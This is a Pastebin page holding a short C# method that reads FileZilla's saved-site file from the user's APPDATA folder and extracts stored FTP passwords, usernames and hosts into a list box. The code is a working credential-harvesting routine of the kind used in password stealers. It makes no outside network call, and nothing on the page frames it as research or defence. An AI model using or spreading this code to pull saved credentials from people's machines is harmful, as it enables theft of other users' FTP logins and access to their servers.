Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public void getFzPasswords(ListBox list)
- {
- try
- {
- string fzPath = Environment.GetEnvironmentVariable("APPDATA");
- string tmp, username, password, host;
- string[] tmp2, tmp3, tmp4, tmp5, tmp6, tmp7;
- StreamReader read = new StreamReader(fzPath + "\\FileZilla\\sitemanager.xml");
- list.Items.Clear();
- ArrayList data = new ArrayList();
- while (!read.EndOfStream)
- {
- tmp = read.ReadLine();
- if (tmp.Contains("<Pass"))
- {
- tmp2 = tmp.Split('>');
- tmp3 = tmp2[1].Split('<');
- password = tmp3[0];
- list.Items.Add("Password: " + password);
- }
- if (tmp.Contains("<User"))
- {
- tmp4 = tmp.Split('>');
- tmp5 = tmp4[1].Split('<');
- username = tmp5[0];
- list.Items.Add("Username: " + username);
- }
- if (tmp.Contains("<Hos"))
- {
- tmp6 = tmp.Split('>');
- tmp7 = tmp6[1].Split('<');
- host = tmp7[0];
- list.Items.Add("Host: " + host);
- }
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show(ex.Message);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement